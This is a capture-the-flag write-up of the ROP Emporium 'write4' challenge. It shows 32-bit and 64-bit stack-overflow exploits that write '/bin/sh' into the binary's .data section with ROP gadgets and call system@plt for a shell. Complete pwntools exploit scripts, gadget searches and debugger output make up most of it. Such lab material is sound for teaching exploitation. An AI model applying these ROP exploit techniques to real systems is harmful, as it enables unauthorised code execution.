Write4 32 Bit
In this challenge, there’s no more “/bin/cat flag.txt” string that can be used to get the flag. We can either try to write those string or “/bin/sh” string into memory to get a shell. The steps to achieve it are:
- Find the writable memory section inside the binary.
- Find the suitable ROP Gadget to write “/bin/sh” into the memory.
- Find the suitable ROP Gadget to call the system@plt with the “/bin/sh” as the argument.
Let’s find the EIP offset using Radare2.
root@Perseverance:~/rop_emporium/write432# r2 -de dbg.profile=profile.rr2 write432
Process with PID 2279 started...
= attach 2279 2279
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
[0xf7f2e0b0]> dc
write4 by ROP Emporium
32bits
Go ahead and give me the string already!
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> wopO `dr eip`
44
EIP offset is 44. Find the writable memory section using readelf
command.
root@Perseverance:~/Documents/pwning/rop_emporium/write432# readelf --sections write432
There are 31 section headers, starting at offset 0x196c:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481dc 0001dc 0000d0 10 A 6 1 4
[ 6] .dynstr STRTAB 080482ac 0002ac 000081 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804832e 00032e 00001a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048348 000348 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048368 000368 000020 08 A 5 0 4
[10] .rel.plt REL 08048388 000388 000038 08 AI 5 24 4
[11] .init PROGBITS 080483c0 0003c0 000023 00 AX 0 0 4
[12] .plt PROGBITS 080483f0 0003f0 000080 04 AX 0 0 16
[13] .plt.got PROGBITS 08048470 000470 000008 00 AX 0 0 8
[14] .text PROGBITS 08048480 000480 000262 00 AX 0 0 16
[15] .fini PROGBITS 080486e4 0006e4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0804875c 00075c 00003c 00 A 0 0 4
[18] .eh_frame PROGBITS 08048798 000798 00010c 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4
[25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a040 001030 00002c 00 WA 0 0 32
[27] .comment PROGBITS 00000000 001030 000034 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 001861 00010a 00 0 0 1
[29] .symtab SYMTAB 00000000 001064 000510 10 30 50 4
[30] .strtab STRTAB 00000000 001574 0002ed 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
Pay attention at the Flg
column. WA means writable and allocable, so the 19th - 26th entry can be used to write the “/bin/sh” string. I will use the .data section as the target (data_addr = 0x0804a028).To be able to write the “/bin/sh” string, first we need ROP gadget that will POP two values (the .data address and the “/bin/sh” string) into registers and then write the “/bin/sh” string into the .data address.
root@Perseverance:~/rop_emporium/write432# python ROPgadget.py --binary write432
--snipped--
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080486da : pop edi ; pop ebp ; ret
--snipped--
Above ROP Gadget suitable for our requirements. Since we working on 32 bit, The “/bin/sh” string need to be split into two parts “/bin” and “//sh”. So we first write the “/bin” and then the “//sh”. So far we already have the necessary values to write “/bin/sh”:
datasection_addr = 0x0804a028
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670
To write the “/bin/sh” string into .data section, the payload will be:
# Write "/bin" string into .data section
rop = pop_edi_ebp
rop += p32(data_addr)
rop += "/bin"
rop += mov_edi_ebp
# Write "//sh" string into .data section after "/bin"
rop += pop_edi_ebp
rop += p32(data_addr+4)
rop += "//sh"
rop += mov_edi_ebp
Get the system@plt address and use it to execute “/bin/sh”.
root@Perseverance:~/rop_emporium/write432# objdump -d write432 | grep system@plt
08048430 <system@plt>:
804865a: e8 d1 fd ff ff call 8048430 <system@plt>
Final payload:
# Write "/bin" string into .data section
rop = pop_edi_ebp
rop += p32(data_addr)
rop += "/bin"
rop += mov_edi_ebp
# Write "//sh" string into .data section after "/bin"
rop += pop_edi_ebp
rop += p32(data_addr+4)
rop += "//sh"
rop += mov_edi_ebp
# System call to execute "/bin/sh"
payload = junk + rop + system_plt + "junk" + p32(data_addr)
Below is a simple python script using pwntools to automate the process.
#!/usr/bin/python
from pwn import *
def main():
junk = "A" * 44 # EIP Offset at 44
data_addr = 0x0804a028 # readelf -x .data write432
pop_edi_ebp = p32(0x080486da) # pop edi ; pop ebp ; ret
mov_edi_ebp = p32(0x08048670) # mov dword ptr [edi], ebp ; ret
system_plt =p32(0x8048430) # objdump -d write432 | grep system@plt
# Write "/bin" string into .data section
rop = pop_edi_ebp
rop += p32(data_addr)
rop += "/bin"
rop += mov_edi_ebp
# Write "//sh" string into .data section after "/bin"
rop += pop_edi_ebp
rop += p32(data_addr+4)
rop += "//sh"
rop += mov_edi_ebp
# System call to execute "/bin/sh"
payload = junk + rop + system_plt + "junk" + p32(data_addr)
p = process("./write432")
p.sendlineafter("> ",payload)
p.interactive()
if __name__ == "__main__":
main()
Run the script and get the Shell.
root@Perseverance:~/rop_emporium/write432# ./write432.py
[+] Starting local process './write432': pid 7053
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
Write4 64 Bit
Let’s find the RIP offset using Radare2.
root@Perseverance:~/rop_emporium/write4# r2 -de dbg.profile=profile.rr2 write4
Process with PID 6608 started...
= attach 6608 6608
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[0x7f312396a090]> dc
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x00400806]> pxq 8@rsp
0x7ffc59baa7a8 0x41415041414f4141 AAOAAPAA
[0x00400806]> wopO 0x41415041414f4141
40
RIP offset is 40. Find the writable memory section using readelf
command.
root@Perseverance:~/Documents/pwning/rop_emporium/write4# readelf --sections write4
There are 31 section headers, starting at offset 0x1bf0:
--snipped--
[19] .init_array INIT_ARRAY 0000000000600e10 00000e10
0000000000000008 0000000000000000 WA 0 0 8
[20] .fini_array FINI_ARRAY 0000000000600e18 00000e18
0000000000000008 0000000000000000 WA 0 0 8
[21] .jcr PROGBITS 0000000000600e20 00000e20
0000000000000008 0000000000000000 WA 0 0 8
[22] .dynamic DYNAMIC 0000000000600e28 00000e28
00000000000001d0 0000000000000010 WA 6 0 8
[23] .got PROGBITS 0000000000600ff8 00000ff8
0000000000000008 0000000000000008 WA 0 0 8
[24] .got.plt PROGBITS 0000000000601000 00001000
0000000000000050 0000000000000008 WA 0 0 8
[25] .data PROGBITS 0000000000601050 00001050
0000000000000010 0000000000000000 WA 0 0 8
[26] .bss NOBITS 0000000000601060 00001060
0000000000000030 0000000000000000 WA 0 0 32
--snipped--
The .data section address is 0x0000000000601050. To be able to write the “/bin/sh” string, first we need ROP gadget that will POP two values (the .data address and the “/bin/sh” string) into registers and then write the “/bin/sh” string into the .data address.
root@Perseverance:~/rop_emporium/write4# python ROPgadget.py --binary write4
--snipped--
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
--snipped--
Above ROP Gadget suitable for our requirements. Since we working on 64 bit, we can write the “/bin/sh” string in one part. So far we already have the necessary values to write “/bin/sh”:
datasection_addr = 0x0000000000601050
pop_r14_r15 = 0x0000000000400890
mov_r14_r15 = 0x0000000000400820
To write the “/bin//sh” string into .data section, the payload will be:
# Write "/bin//sh" string into .data section
rop = pop_r14_r15
rop += data_addr
rop += "/bin//sh"
rop += mov_r14_r15
Get the system@plt address and and ROP gadget to push “/bin//sh” string from .data section into RDI register.
root@Perseverance:~/rop_emporium/write4# objdump -d write4 | grep system@plt
00000000004005e0 <system@plt>:
400810: e8 cb fd ff ff callq 4005e0 <system@plt>
root@Perseverance:~/rop_emporium/write4# python ROPgadget.py --binary write4 | grep "pop rdi"
0x0000000000400893 : pop rdi ; ret
Final payload:
# Write "/bin//sh" string into .data section
rop = pop_r14_r15
rop += data_addr
rop += "/bin//sh"
rop += mov_r14_r15
# System call to execute "/bin/sh"
payload = junk + rop + pop_rdi + data_addr + system_plt
Below is a simple python script using pwntools to automate the process.
#!/usr/bin/python
from pwn import *
def main():
junk = "A" * 40 # RIP Offset at 40
data_addr = p64(0x00601050) # readelf -x .data write4
pop_r14_r15 = p64(0x0000000000400890) # pop r14 ; pop r15 ; ret
mov_r14_r15 = p64(0x0000000000400820) # mov qword ptr [r14], r15 ; ret
pop_rdi = p64(0x0000000000400893) # pop rdi ; ret
system_plt = p64(0x4005e0) # objdump -d write4 | grep system@plt
# Write "/bin//sh" string into .data section
rop = pop_r14_r15
rop += data_addr
rop += "/bin//sh"
rop += mov_r14_r15
# System call to execute "/bin/sh"
payload = junk + rop + pop_rdi + data_addr + system_plt
p = process("./write4")
p.sendlineafter("> ", payload)
p.interactive()
if __name__ == "__main__":
main()
Run the script and get the Shell.
root@Perseverance:~/rop_emporium/write4# ./write4.py
[+] Starting local process './write4': pid 9620
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)